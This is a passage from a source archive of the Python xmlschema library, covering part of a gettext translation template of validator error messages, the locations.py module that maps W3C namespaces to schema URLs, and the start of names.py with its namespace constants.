xmlschema/validators/facets.py:475 xmlschema/validators/facets.py:537 msgid "invalid restriction: base value is lower ({})" msgstr "" #: xmlschema/validators/facets.py:488 msgid "the number of digits has to be lesser or equal than {!r}" msgstr "" #: xmlschema/validators/facets.py:516 msgid "" "fractionDigits facet can be applied only to types derived from xs:decimal" msgstr "" #: xmlschema/validators/facets.py:532 msgid "fractionDigits facet value must be 0 for types derived from xs:integer" msgstr "" #: xmlschema/validators/facets.py:549 msgid "the number of fraction digits has to be lesser or equal than {!r}" msgstr "" #: xmlschema/validators/facets.py:579 msgid "invalid restriction from {!r}" msgstr "" #: xmlschema/validators/facets.py:585 msgid "time zone required for value {!r}" msgstr "" #: xmlschema/validators/facets.py:593 msgid "time zone prohibited for value {!r}" msgstr "" #: xmlschema/validators/facets.py:643 msgid "value {!r} must match a notation declaration" msgstr "" #: xmlschema/validators/facets.py:701 msgid "value must be one of {!r}" msgstr "" #: xmlschema/validators/facets.py:798 msgid "value doesn't match any pattern of {!r}" msgstr "" #: xmlschema/validators/facets.py:849 msgid "missing attribute 'test'" msgstr "" #: xmlschema/validators/facets.py:879 msgid "value is not true with test path {!r}" msgstr "" #: xmlschema/validators/global_maps.py:142 msgid "multiple redefinition for {} {!r}" msgstr "" #: xmlschema/validators/global_maps.py:157 msgid "circular redefinition for {} {!r}" msgstr "" #: xmlschema/validators/global_maps.py:262 msgid "can't change attribute {!r} of a global maps instance" msgstr "" #: xmlschema/validators/global_maps.py:324 msgid "wrong tag {!r} for an XSD global definition/declaration" msgstr "" #: xmlschema/validators/global_maps.py:382 msgid "{0!r} cannot substitute {1!r}" msgstr "" #: xmlschema/validators/global_maps.py:684 msgid "defaultAttributes={0!r} doesn't match any attribute group of {1!r}" msgstr "" #: xmlschema/validators/global_maps.py:731 msgid "global maps main validator is not registered" msgstr "" #: xmlschema/validators/global_maps.py:744 msgid "schema {} does not belong to namespace {!r}" msgstr "" #: xmlschema/validators/global_maps.py:748 msgid "duplicate of schema {} found in namespace {!r}" msgstr "" #: xmlschema/validators/global_maps.py:753 msgid "registered schemas do not match namespace mapped schemas" msgstr "" #: xmlschema/validators/global_maps.py:773 msgid "circularity found for substitution group with head element {}" msgstr "" #: xmlschema/validators/global_maps.py:778 msgid "global group not built!" msgstr "" #: xmlschema/validators/global_maps.py:785 msgid "the redefined group is an illegal restriction" msgstr "" #: xmlschema/validators/global_maps.py:801 msgid "the derived group is an illegal restriction" msgstr "" #: xmlschema/validators/global_maps.py:811 msgid "restriction has an open content but base type has not" msgstr "" #: xmlschema/validators/global_maps.py:817 msgid "" "can't verify the content model of {!r} due to exceeding of maximum recursion " "depth" msgstr "" #: xmlschema/validators/groups.py:399 msgid "{!r} is not a particle of the model group" msgstr "" #: xmlschema/validators/groups.py:481 xmlschema/validators/groups.py:521 msgid "attribute 'name' not allowed in a local group" msgstr "" #: xmlschema/validators/groups.py:490 #, python-format msgid "missing group %r" msgstr "" #: xmlschema/validators/groups.py:500 xmlschema/validators/groups.py:552 msgid "maxOccurs must be 1 for 'all' model groups" msgstr "" #: xmlschema/validators/groups.py:503 xmlschema/validators/groups.py:555 #: xmlschema/validators/groups.py:1243 msgid "minOccurs must be (0 | 1) for 'all' model groups" msgstr "" #: xmlschema/validators/groups.py:506 msgid "in XSD 1.0 an 'all' model group cannot be nested" msgstr "" #: xmlschema/validators/groups.py:525 xmlschema/validators/groups.py:535 msgid "attribute 'minOccurs' not allowed in a global group" msgstr "" #: xmlschema/validators/groups.py:528 xmlschema/validators/groups.py:538 msgid "attribute 'maxOccurs' not allowed in a global group" msgstr "" #: xmlschema/validators/groups.py:566 msgid "'all' model can contain only elements" msgstr "" #: xmlschema/validators/groups.py:576 xmlschema/validators/groups.py:1259 msgid "missing attribute 'ref' in local group" msgstr "" #: xmlschema/validators/groups.py:585 msgid "'all' model can appears only at 1st level of a model group" msgstr "" #: xmlschema/validators/groups.py:593 msgid "Redefined group reference can't have minOccurs/maxOccurs other than 1" msgstr "" #: xmlschema/validators/groups.py:597 xmlschema/validators/groups.py:1281 #, python-format msgid "Circular definition detected for group %r" msgstr "" #: xmlschema/validators/groups.py:853 #, python-format msgid "substitution of %r is blocked" msgstr "" #: xmlschema/validators/groups.py:906 msgid "usage of {0!r} with type {1} is blocked by head element" msgstr "" #: xmlschema/validators/groups.py:931 msgid "{0!r} that matches {1!r} is not consistent with local declaration {2!r}" msgstr "" #: xmlschema/validators/groups.py:937 msgid "Maybe a not equivalent type table between elements {0!r} and {1!r}." msgstr "" #: xmlschema/validators/groups.py:966 msgid "an empty 'choice' group with minOccurs > 0 cannot validate any content" msgstr "" #: xmlschema/validators/groups.py:977 xmlschema/validators/groups.py:1211 msgid "character data between child elements not allowed" msgstr "" #: xmlschema/validators/groups.py:990 #, python-format msgid "XML data depth exceeded (MAX_XML_DEPTH=%r)" msgstr "" #: xmlschema/validators/groups.py:1168 msgid "{!r} does not match any declared element of the model group" msgstr "" #: xmlschema/validators/groups.py:1171 msgid "{0} has an unknown prefix {1!r}" msgstr "" #: xmlschema/validators/groups.py:1206 msgid "wrong content type {!r}" msgstr "" #: xmlschema/validators/groups.py:1240 msgid "maxOccurs must be (0 | 1) for 'all' model groups" msgstr "" #: xmlschema/validators/groups.py:1269 #, python-brace-format msgid "an xs:{0} group cannot include a reference to an xs:{1} group" msgstr "" #: xmlschema/validators/groups.py:1276 msgid "Redefined group reference cannot have minOccurs/maxOccurs other than 1" msgstr "" #: xmlschema/validators/helpers.py:50 #, python-format msgid "wrong value %r for attribute %r" msgstr "" #: xmlschema/validators/helpers.py:79 msgid "value is not a valid xs:decimal" msgstr "" #: xmlschema/validators/helpers.py:85 msgid "value is not an xs:QName" msgstr "" #: xmlschema/validators/helpers.py:91 xmlschema/validators/helpers.py:97 #: xmlschema/validators/helpers.py:103 xmlschema/validators/helpers.py:109 #: xmlschema/validators/helpers.py:115 xmlschema/validators/helpers.py:121 #: xmlschema/validators/helpers.py:127 xmlschema/validators/helpers.py:133 msgid "value must be {:s}" msgstr "" #: xmlschema/validators/helpers.py:139 msgid "value must be negative" msgstr "" #: xmlschema/validators/helpers.py:145 msgid "value must be positive" msgstr "" #: xmlschema/validators/helpers.py:151 msgid "value must be non positive" msgstr "" #: xmlschema/validators/helpers.py:157 msgid "value must be non negative" msgstr "" #: xmlschema/validators/helpers.py:164 msgid "not an hexadecimal number" msgstr "" #: xmlschema/validators/helpers.py:177 msgid "not a base64 encoding" msgstr "" #: xmlschema/validators/helpers.py:182 msgid "no value is allowed for xs:error type" msgstr "" #: xmlschema/validators/helpers.py:192 msgid "{!r} is not a boolean value" msgstr "" #: xmlschema/validators/models.py:144 msgid "" "Element Declarations Consistent violation between {0!r} and {1!r}: match the " "same name but with different types" msgstr "" #: xmlschema/validators/models.py:158 msgid "{0!r} and {1!r} overlap and are in the same {2!r} group" msgstr "" #: xmlschema/validators/models.py:170 msgid "Unique Particle Attribution violation between {0!r} and {1!r}" msgstr "" #: xmlschema/validators/notations.py:36 msgid "a notation declaration must be global" msgstr "" #: xmlschema/validators/notations.py:40 msgid "a notation must have a 'name' attribute" msgstr "" #: xmlschema/validators/notations.py:43 msgid "a notation must have a 'public' or a 'system' attribute" msgstr "" #: xmlschema/validators/particles.py:142 msgid "minOccurs value is not an integer value" msgstr "" #: xmlschema/validators/particles.py:146 msgid "minOccurs value must be a non negative integer" msgstr "" #: xmlschema/validators/particles.py:154 msgid "minOccurs must be lesser or equal than maxOccurs" msgstr "" #: xmlschema/validators/particles.py:162 msgid "maxOccurs value must be a non negative integer or 'unbounded'" msgstr "" #: xmlschema/validators/particles.py:166 msgid "maxOccurs must be 'unbounded' or greater than minOccurs" msgstr "" #: xmlschema/validators/schemas.py:146 msgid "XSD_VERSION must be '1.0' or '1.1'" msgstr "" #: xmlschema/validators/schemas.py:323 msgid "no XSD source provided!" msgstr "" #: xmlschema/validators/schemas.py:349 msgid "the attribute 'targetNamespace' cannot be an empty string" msgstr "" #: xmlschema/validators/schemas.py:352 msgid "" "targetNamespace of XSD resource {} differs from what expected (found {!r} " "instead of {!r})" msgstr "" #: xmlschema/validators/schemas.py:374 #, python-brace-format msgid "The namespace {nm.XMLNS_NAMESPACE} cannot be used as 'targetNamespace'" msgstr "" #: xmlschema/validators/schemas.py:443 #, python-format msgid "'global_maps' argument must be an %r instance" msgstr "" #: xmlschema/validators/schemas.py:510 msgid "can't change the global maps instance of a class meta-schema" msgstr "" #: xmlschema/validators/schemas.py:514 msgid "" "can't change the global maps instance of a schema that is the main validator " "of another global maps instance" msgstr "" #: xmlschema/validators/schemas.py:528 msgid "can't set the meta_schema instance of a schema" msgstr "" #: xmlschema/validators/schemas.py:536 xmlschema/validators/schemas.py:540 msgid "can't change the {!r} attribute of a schema" msgstr "" #: xmlschema/validators/schemas.py:738 #, python-format msgid "meta-schema unavailable for %r" msgstr "" #: xmlschema/validators/schemas.py:949 msgid "the namespace {!r} is not loaded" msgstr "" #: xmlschema/validators/schemas.py:1083 msgid "invalid attribute vc:minVersion value" msgstr "" #: xmlschema/validators/schemas.py:1092 msgid "invalid attribute vc:maxVersion value" msgstr "" #: xmlschema/validators/schemas.py:1168 xmlschema/validators/schemas.py:1175 msgid "{!r} is not a valid value for xs:QName" msgstr "" #: xmlschema/validators/schemas.py:1184 msgid "prefix {!r} not found in namespace map" msgstr "" #: xmlschema/validators/schemas.py:1192 msgid "" "the QName {!r} is mapped to no namespace, but this requires that there is an " "xs:import statement in the schema without the 'namespace' attribute." msgstr "" #: xmlschema/validators/schemas.py:1201 msgid "" "the QName {!r} is mapped to the namespace {!r}, but this namespace has not " "an xs:import statement in the schema." msgstr "" #: xmlschema/validators/schemas.py:1365 xmlschema/validators/schemas.py:1422 #: xmlschema/validators/schemas.py:1601 msgid "{!r} is not an element of the schema" msgstr "" #: xmlschema/validators/schemas.py:1379 msgid "the provided path selects nothing to validate" msgstr "" #: xmlschema/validators/schemas.py:1395 #, python-format msgid "IDREF %r not found in XML document" msgstr "" #: xmlschema/validators/schemas.py:1703 msgid "encoding needs at least one XSD element declaration" msgstr "" #: xmlschema/validators/schemas.py:1745 #, python-format msgid "the path %r doesn't match any element of the schema!" msgstr "" #: xmlschema/validators/schemas.py:1747 msgid "" "unable to select an element for encoding data, provide a valid 'path' " "argument." msgstr "" #: xmlschema/validators/simple_types.py:120 #, python-format msgid "wrong value %r for facet xs:whiteSpace" msgstr "" #: xmlschema/validators/simple_types.py:162 msgid "facets not allowed for a direct derivation of xs:anySimpleType" msgstr "" #: xmlschema/validators/simple_types.py:166 msgid "facets not allowed for a direct content derivation of xs:anySimpleType" msgstr "" #: xmlschema/validators/simple_types.py:172 msgid "one or more facets are not applicable, admitted set is {!r}" msgstr "" #: xmlschema/validators/simple_types.py:178 #, python-format msgid "facet group must have the same base type: %r" msgstr "" #: xmlschema/validators/simple_types.py:188 msgid "'length' value must be non a negative integer" msgstr "" #: xmlschema/validators/simple_types.py:192 msgid "'minLength' value must be less than or equal to 'length'" msgstr "" #: xmlschema/validators/simple_types.py:199 msgid "cannot specify both 'length' and 'minLength'" msgstr "" #: xmlschema/validators/simple_types.py:204 msgid "'maxLength' value must be greater or equal to 'length'" msgstr "" #: xmlschema/validators/simple_types.py:212 msgid "cannot specify both 'length' and 'maxLength'" msgstr "" #: xmlschema/validators/simple_types.py:221 msgid "'minLength' value must be a non negative integer" msgstr "" #: xmlschema/validators/simple_types.py:224 msgid "'maxLength' value is less than 'minLength'" msgstr "" #: xmlschema/validators/simple_types.py:227 msgid "'minLength' has a lesser value than parent" msgstr "" #: xmlschema/validators/simple_types.py:230 msgid "'minLength' has a greater value than parent 'maxLength'" msgstr "" #: xmlschema/validators/simple_types.py:235 msgid "'maxLength' value must be a non negative integer" msgstr "" #: xmlschema/validators/simple_types.py:238 msgid "'maxLength' has a lesser value than parent 'minLength'" msgstr "" #: xmlschema/validators/simple_types.py:241 msgid "'maxLength' has a greater value than parent" msgstr "" #: xmlschema/validators/simple_types.py:252 msgid "cannot specify both 'minInclusive' and 'minExclusive'" msgstr "" #: xmlschema/validators/simple_types.py:255 msgid "'minInclusive' must be less or equal to 'maxInclusive'" msgstr "" #: xmlschema/validators/simple_types.py:258 msgid "'minInclusive' must be lesser than 'maxExclusive'" msgstr "" #: xmlschema/validators/simple_types.py:263 msgid "'minExclusive' must be lesser than 'maxInclusive'" msgstr "" #: xmlschema/validators/simple_types.py:266 msgid "'minExclusive' must be less or equal to 'maxExclusive'" msgstr "" #: xmlschema/validators/simple_types.py:270 msgid "cannot specify both 'maxInclusive' and 'maxExclusive'" msgstr "" #: xmlschema/validators/simple_types.py:276 msgid "" "fractionDigits facet value cannot be lesser than the value of totalDigits " "facet" msgstr "" #: xmlschema/validators/simple_types.py:282 msgid "" "totalDigits facet value cannot be greater than the value of the same facet " "in the base type" msgstr "" #: xmlschema/validators/simple_types.py:291 #, python-format msgid "" "the explicitTimezone facet value cannot be changed if the base type has the " "same facet with value %r" msgstr "" #: xmlschema/validators/simple_types.py:691 msgid "value is not an instance of {!r}" msgstr "" #: xmlschema/validators/simple_types.py:713 #: xmlschema/validators/simple_types.py:805 #: xmlschema/validators/simple_types.py:1167 msgid "invalid value {!r}" msgstr "" #: xmlschema/validators/simple_types.py:740 #, python-format msgid "unmapped prefix %r in a QName" msgstr "" #: xmlschema/validators/simple_types.py:753 #: xmlschema/validators/simple_types.py:764 msgid "duplicated xs:ID value {!r}" msgstr "" #: xmlschema/validators/simple_types.py:759 msgid "no more than one attribute of type ID should be present in an element" msgstr "" #: xmlschema/validators/simple_types.py:783 msgid "boolean value {0!r} requires a {1!r} decoder" msgstr "" #: xmlschema/validators/simple_types.py:789 msgid "{0!r} is not an instance of {1!r}" msgstr "" #: xmlschema/validators/simple_types.py:892 msgid "ambiguous list type declaration" msgstr "" #: xmlschema/validators/simple_types.py:900 msgid "missing list type declaration" msgstr "" #: xmlschema/validators/simple_types.py:916 #, python-format msgid "'final' value of the itemType %r forbids derivation by list" msgstr "" #: xmlschema/validators/simple_types.py:920 #: xmlschema/validators/simple_types.py:1093 #: xmlschema/validators/simple_types.py:1376 msgid "cannot use xs:anyAtomicType as base type of a user-defined type" msgstr "" #: xmlschema/validators/simple_types.py:926 #, python-format msgid "%r: a list must be based on atomic data types" msgstr "" #: xmlschema/validators/simple_types.py:973 msgid "unexpected nested list item {!r}" msgstr "" #: xmlschema/validators/simple_types.py:1080 msgid "a {0!r} required, not {1!r}" msgstr "" #: xmlschema/validators/simple_types.py:1084 #, python-format msgid "'final' value of the memberTypes %r forbids derivation by union" msgstr "" #: xmlschema/validators/simple_types.py:1090 msgid "missing xs:union type declarations" msgstr "" #: xmlschema/validators/simple_types.py:1205 msgid "no type suitable for encoding the object" msgstr "" #: xmlschema/validators/simple_types.py:1249 msgid "'name' attribute in a local simpleType definition" msgstr "" #: xmlschema/validators/simple_types.py:1289 #, python-format msgid "wrong base type %r, an atomic type required" msgstr "" #: xmlschema/validators/simple_types.py:1295 msgid "an xs:simpleType definition expected" msgstr "" #: xmlschema/validators/simple_types.py:1300 msgid "" "when a complexType with simpleContent restricts a complexType with mixed and " "with emptiable content then a simpleType child declaration is required" msgstr "" #: xmlschema/validators/simple_types.py:1305 #, python-format msgid "simpleType restriction of %r is not allowed" msgstr "" #: xmlschema/validators/simple_types.py:1314 msgid "unexpected tag after attribute declarations" msgstr "" #: xmlschema/validators/simple_types.py:1319 msgid "duplicated simpleType declaration" msgstr "" #: xmlschema/validators/simple_types.py:1345 msgid "restriction with 'base' attribute and simpleType declaration" msgstr "" #: xmlschema/validators/simple_types.py:1353 #, python-format msgid "unexpected tag %r in restriction" msgstr "" #: xmlschema/validators/simple_types.py:1359 #, python-format msgid "multiple %r constraint facet" msgstr "" #: xmlschema/validators/simple_types.py:1371 msgid "missing base type in restriction" msgstr "" #: xmlschema/validators/simple_types.py:1373 #, python-format msgid "'final' value of the baseType %r forbids derivation by restriction" msgstr "" #: xmlschema/validators/simple_types.py:1430 #: xmlschema/validators/simple_types.py:1453 #, python-format msgid "" "wrong base type %r: a simpleType or a complexType with simple or mixed " "content required" msgstr "" #: xmlschema/validators/validation.py:55 msgid "validation mode must be a string" msgstr "" #: xmlschema/validators/validation.py:57 #, python-format msgid "validation mode can be 'strict', 'lax' or 'skip': %r" msgstr "" #: xmlschema/validators/validation.py:179 msgid "attribute {0}={1!r}: {2}" msgstr "" #: xmlschema/validators/wildcards.py:92 #, python-format msgid "wrong value %r in 'namespace' attribute" msgstr "" #: xmlschema/validators/wildcards.py:99 #, python-format msgid "wrong value %r for 'processContents' attribute" msgstr "" #: xmlschema/validators/wildcards.py:107 msgid "'namespace' and 'notNamespace' attributes are mutually exclusive" msgstr "" #: xmlschema/validators/wildcards.py:118 #, python-format msgid "wrong value %r in 'notNamespace' attribute" msgstr "" #: xmlschema/validators/wildcards.py:134 msgid "wrong value for 'notQName' attribute" msgstr "" #: xmlschema/validators/wildcards.py:141 #, python-format msgid "unmapped QName in 'notQName' attribute: %s" msgstr "" #: xmlschema/validators/wildcards.py:145 #, python-format msgid "wrong QName format in 'notQName' attribute: %s" msgstr "" #: xmlschema/validators/wildcards.py:153 msgid "the namespace of each QName in notQName is allowed by notNamespace" msgstr "" #: xmlschema/validators/wildcards.py:157 msgid "names in notQName must be in namespaces that are allowed" msgstr "" #: xmlschema/validators/wildcards.py:334 msgid "not expressible wildcard namespace union: {0!r} V {1!r}:" msgstr "" #: xmlschema/validators/wildcards.py:502 xmlschema/validators/wildcards.py:545 msgid "element {!r} is not allowed here" msgstr "" #: xmlschema/validators/wildcards.py:510 xmlschema/validators/wildcards.py:552 #: xmlschema/validators/wildcards.py:691 xmlschema/validators/wildcards.py:720 msgid "unavailable namespace {!r}" msgstr "" #: xmlschema/validators/wildcards.py:673 xmlschema/validators/wildcards.py:703 #, python-format msgid "attribute %r not allowed" msgstr "" #: xmlschema/validators/wildcards.py:685 xmlschema/validators/wildcards.py:714 #, python-format msgid "attribute %r not found" msgstr "" #: xmlschema/validators/wildcards.py:875 #, python-format msgid "wrong value %r for 'mode' attribute" msgstr "" #: xmlschema/validators/wildcards.py:881 msgid "" "an openContent with mode='none' cannot have an <xs:any> child declaration" msgstr "" #: xmlschema/validators/wildcards.py:885 msgid "an <xs:any> child declaration is required" msgstr "" #: xmlschema/validators/wildcards.py:919 msgid "defaultOpenContent must be a child of the schema" msgstr "" #: xmlschema/validators/wildcards.py:922 msgid "the attribute 'mode' of a defaultOpenContent cannot be 'none'" msgstr "" #: xmlschema/validators/wildcards.py:925 msgid "a defaultOpenContent declaration cannot be empty" msgstr "" #: xmlschema/validators/xsdbase.py:125 #, python-format msgid "%r is not built" msgstr "" #: xmlschema/validators/xsdbase.py:130 #, python-format msgid "validation mode is 'strict' and %r is not built" msgstr "" #: xmlschema/validators/xsdbase.py:133 #, python-format msgid "validation mode is 'strict' and %r is not valid" msgstr "" #: xmlschema/validators/xsdbase.py:249 msgid "" "wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | " "{1})." msgstr "" #: xmlschema/validators/xsdbase.py:436 #, python-format msgid "missing attribute 'name' in a global %r" msgstr "" #: xmlschema/validators/xsdbase.py:439 #, python-format msgid "missing both attributes 'name' and 'ref' in local %r" msgstr "" #: xmlschema/validators/xsdbase.py:442 msgid "attributes 'name' and 'ref' are mutually exclusive" msgstr "" #: xmlschema/validators/xsdbase.py:445 #, python-format msgid "attribute 'ref' not allowed in a global %r" msgstr "" #: xmlschema/validators/xsdbase.py:454 msgid "a reference component cannot have child definitions/declarations" msgstr "" #: xmlschema/validators/xsdbase.py:469 msgid "too many XSD components, unexpected {0!r} found at position {1}" msgstr "" #: xmlschema/validators/xsdbase.py:486 #, python-brace-format msgid "The namespace {XMLNS_NAMESPACE} cannot be used as 'targetNamespace'" msgstr "" #: xmlschema/validators/xsdbase.py:490 msgid "" "attribute 'name' must be present when 'targetNamespace' attribute is provided" msgstr "" #: xmlschema/validators/xsdbase.py:494 msgid "" "attribute 'form' must be absent when 'targetNamespace' attribute is provided" msgstr "" #: xmlschema/validators/xsdbase.py:499 #, python-format msgid "a global %s must have the same namespace as its parent schema" msgstr "" #: xmlschema/validators/xsdbase.py:507 msgid "" "a declaration contained in a global complexType must have the same namespace " "as its parent schema" msgstr "" #: xmlschema/validators/xsdbase.py:632 msgid "parent circularity from {}" msgstr "" #: xmlschema/validators/identities.py:89 msgid "'xpath' attribute required" msgstr "" #: xmlschema/validators/identities.py:104 msgid "invalid XPath expression for an {}" msgstr "" #: xmlschema/validators/identities.py:173 msgid "missing required attribute 'name'" msgstr "" #: xmlschema/validators/identities.py:181 msgid "missing 'selector' declaration" msgstr "" #: xmlschema/validators/identities.py:198 msgid "unknown identity constraint {!r}" msgstr "" #: xmlschema/validators/identities.py:203 msgid "attribute 'ref' points to a different kind constraint" msgstr "" #: xmlschema/validators/identities.py:231 msgid "selector xpath expression can only select elements" msgstr "" #: xmlschema/validators/identities.py:286 msgid "missing required attribute 'refer'" msgstr "" #: xmlschema/validators/identities.py:316 #, python-format msgid "key/unique identity constraint %r is missing" msgstr "" #: xmlschema/validators/identities.py:321 #, python-format msgid "reference to a non key/unique identity constraint %r" msgstr "" #: xmlschema/validators/identities.py:324 msgid "field cardinality mismatch between {0!r} and {1!r}" msgstr "" #: xmlschema/validators/identities.py:401 msgid "duplicated value {0!r} for {1!r}" msgstr "" #: xmlschema/validators/identities.py:495 #, python-format msgid "%r field selects multiple values!" msgstr "" #: xmlschema/validators/identities.py:501 #, python-format msgid "%r field selects a %r!" msgstr "" #: xmlschema/validators/identities.py:510 #, python-format msgid "%r field doesn't have a simple type!" msgstr "" #: xmlschema/validators/identities.py:542 msgid "missing key field {0!r} for {1!r}" msgstr "" #: xmlschema/converters/__init__.py:37 msgid "'converter' argument must be a {0!r} subclass or instance: {1!r}" msgstr "" ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locations.py��������������������������������������������������������������0000664�0000000�0000000�00000007563�15020401055�0020026�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import os from collections.abc import Iterable from typing import Optional from xmlschema.namespaces import NamespaceResourcesMap from xmlschema.aliases import LocationsMapType, LocationsType from xmlschema.exceptions import XMLSchemaTypeError from xmlschema.translation import gettext as _ from xmlschema.utils.urls import normalize_locations import xmlschema.names as nm def get_locations(locations: Optional[LocationsType], base_url: Optional[str] = None) \ -> NamespaceResourcesMap[str]: """Returns a NamespaceResourcesMap with location hints provided at schema initialization.""" if locations is None: return NamespaceResourcesMap() elif isinstance(locations, NamespaceResourcesMap): return locations elif isinstance(locations, tuple): return NamespaceResourcesMap(locations) elif not isinstance(locations, Iterable): msg = _('wrong type {!r} for locations argument') raise XMLSchemaTypeError(msg.format(type(locations))) else: return NamespaceResourcesMap(normalize_locations(locations, base_url)) SCHEMAS_DIR = os.path.join(os.path.dirname(__file__), 'schemas/') ### # Standard locations for well-known namespaces LOCATIONS: LocationsMapType = { nm.XSD_NAMESPACE: [ "https://www.w3.org/2001/XMLSchema.xsd", # XSD 1.0 "https://www.w3.org/2009/XMLSchema/XMLSchema.xsd", # Mutable XSD 1.1 "https://www.w3.org/2012/04/XMLSchema.xsd" ], nm.XML_NAMESPACE: "https://www.w3.org/2001/xml.xsd", nm.XSI_NAMESPACE: "https://www.w3.org/2001/XMLSchema-instance", nm.XSLT_NAMESPACE: "https://www.w3.org/2007/schema-for-xslt20.xsd", nm.HFP_NAMESPACE: "https://www.w3.org/2001/XMLSchema-hasFacetAndProperty", nm.VC_NAMESPACE: "https://www.w3.org/2007/XMLSchema-versioning/XMLSchema-versioning.xsd", nm.XLINK_NAMESPACE: "https://www.w3.org/1999/xlink.xsd", nm.WSDL_NAMESPACE: "https://schemas.xmlsoap.org/wsdl/", nm.SOAP_NAMESPACE: "https://schemas.xmlsoap.org/wsdl/soap/", nm.SOAP_ENVELOPE_NAMESPACE: "https://schemas.xmlsoap.org/soap/envelope/", nm.SOAP_ENCODING_NAMESPACE: "https://schemas.xmlsoap.org/soap/encoding/", nm.DSIG_NAMESPACE: "https://www.w3.org/2000/09/xmldsig#", nm.DSIG11_NAMESPACE: "https://www.w3.org/2009/xmldsig11#", nm.XENC_NAMESPACE: "https://www.w3.org/TR/xmlenc-core/xenc-schema.xsd", nm.XENC11_NAMESPACE: "https://www.w3.org/TR/xmlenc-core1/xenc-schema-11.xsd", } # Fallback locations for well-known namespaces FALLBACK_LOCATIONS: LocationsMapType = { nm.XSD_NAMESPACE: [ f'{SCHEMAS_DIR}XSD_1.0/XMLSchema.xsd', f'{SCHEMAS_DIR}XSD_1.1/XMLSchema.xsd', f'{SCHEMAS_DIR}XSD_1.1/XMLSchema.xsd', ], nm.XML_NAMESPACE: f'{SCHEMAS_DIR}XML/xml.xsd', nm.XSI_NAMESPACE: f'{SCHEMAS_DIR}XSI/XMLSchema-instance.xsd', nm.HFP_NAMESPACE: f'{SCHEMAS_DIR}HFP/XMLSchema-hasFacetAndProperty.xsd', nm.VC_NAMESPACE: f'{SCHEMAS_DIR}XSI/XMLSchema-versioning.xsd', nm.XLINK_NAMESPACE: f'{SCHEMAS_DIR}XLINK/xlink.xsd', nm.XHTML_NAMESPACE: f'{SCHEMAS_DIR}XHTML/xhtml1-strict.xsd', nm.WSDL_NAMESPACE: f'{SCHEMAS_DIR}WSDL/wsdl.xsd', nm.SOAP_NAMESPACE: f'{SCHEMAS_DIR}WSDL/wsdl-soap.xsd', nm.SOAP_ENVELOPE_NAMESPACE: f'{SCHEMAS_DIR}WSDL/soap-envelope.xsd', nm.SOAP_ENCODING_NAMESPACE: f'{SCHEMAS_DIR}WSDL/soap-encoding.xsd', nm.DSIG_NAMESPACE: f'{SCHEMAS_DIR}DSIG/xmldsig-core-schema.xsd', nm.DSIG11_NAMESPACE: f'{SCHEMAS_DIR}DSIG/xmldsig11-schema.xsd', nm.XENC_NAMESPACE: f'{SCHEMAS_DIR}XENC/xenc-schema.xsd', nm.XENC11_NAMESPACE: f'{SCHEMAS_DIR}XENC/xenc-schema-11.xsd', } ���������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/names.py������������������������������������������������������������������0000664�0000000�0000000�00000020273�15020401055�0017127�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ This module contains namespaces and name definitions for W3C core standards. """ ### # Namespace URIs XSD_NAMESPACE = 'http://www.w3.org/2001/XMLSchema' "URI of the XML Schema Definition namespace (xs|xsd)" XSI_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-instance' "URI of the XML Schema Instance namespace (xsi)" XML_NAMESPACE = 'http://www.w3.org/XML/1998/namespace' "URI of the XML namespace (xml)" XMLNS_NAMESPACE = 'http://www.w3.org/2000/xmlns/' """ Special namespace, reserved for making xmlns declarations with the use of extended names. Can't be used as a target namespace for a schema or for its components. """ XHTML_NAMESPACE = 'http://www.w3.org/1999/xhtml' XHTML_DATATYPES_NAMESPACE = 'http://www.w3.org/1999/xhtml/datatypes/' "URIs of the Extensible Hypertext Markup Language namespace (html)" XLINK_NAMESPACE = 'http://www.w3.org/1999/xlink' "URI of the XML Linking Language (XLink)" XSLT_NAMESPACE = "http://www.w3.org/1999/XSL/Transform" "URI of the XSL Transformations namespace (xslt)" HFP_NAMESPACE = 'http://www.w3.org/2001/XMLSchema-hasFacetAndProperty' "URI of the XML Schema has Facet and Property namespace (hfp)" VC_NAMESPACE = 'http://www.w3.org/2007/XMLSchema-versioning' "URI of the XML Schema Versioning namespace (vc)" ### # Namespaces for WSDL documents WSDL_NAMESPACE = 'http://schemas.xmlsoap.org/wsdl/' SOAP_NAMESPACE = 'http://schemas.xmlsoap.org/wsdl/soap/' SOAP_ENVELOPE_NAMESPACE = 'http://schemas.xmlsoap.org/soap/envelope/' SOAP_ENCODING_NAMESPACE = 'http://schemas.xmlsoap.org/soap/encoding/' ### # Namespaces for XML Signature Syntax and Processing DSIG_NAMESPACE = 'http://www.w3.org/2000/09/xmldsig#' DSIG11_NAMESPACE = 'http://www.w3.org/2009/xmldsig11#' ### # Namespaces for XML Encryption Syntax and Processing XENC_NAMESPACE = 'http://www.w3.org/2001/04/xmlenc#' XENC11_NAMESPACE = 'http://www.w3.org/2009/xmlenc11#' ### # Elements and attributes names _VC_TEMPLATE = '{http://www.w3.org/2007/XMLSchema-versioning}%s' _XML_TEMPLATE = '{http://www.w3.org/XML/1998/namespace}%s' _XSD_TEMPLATE = '{http://www.w3.org/2001/XMLSchema}%s' _XSI_TEMPLATE = '{http://www.w3.org/2001/XMLSchema-instance}%s' # # Version Control attributes (XSD 1.1) VC_MIN_VERSION = _VC_TEMPLATE % 'minVersion' VC_MAX_VERSION = _VC_TEMPLATE % 'maxVersion' VC_TYPE_AVAILABLE = _VC_TEMPLATE % 'typeAvailable' VC_TYPE_UNAVAILABLE = _VC_TEMPLATE % 'typeUnavailable' VC_FACET_AVAILABLE = _VC_TEMPLATE % 'facetAvailable' VC_FACET_UNAVAILABLE = 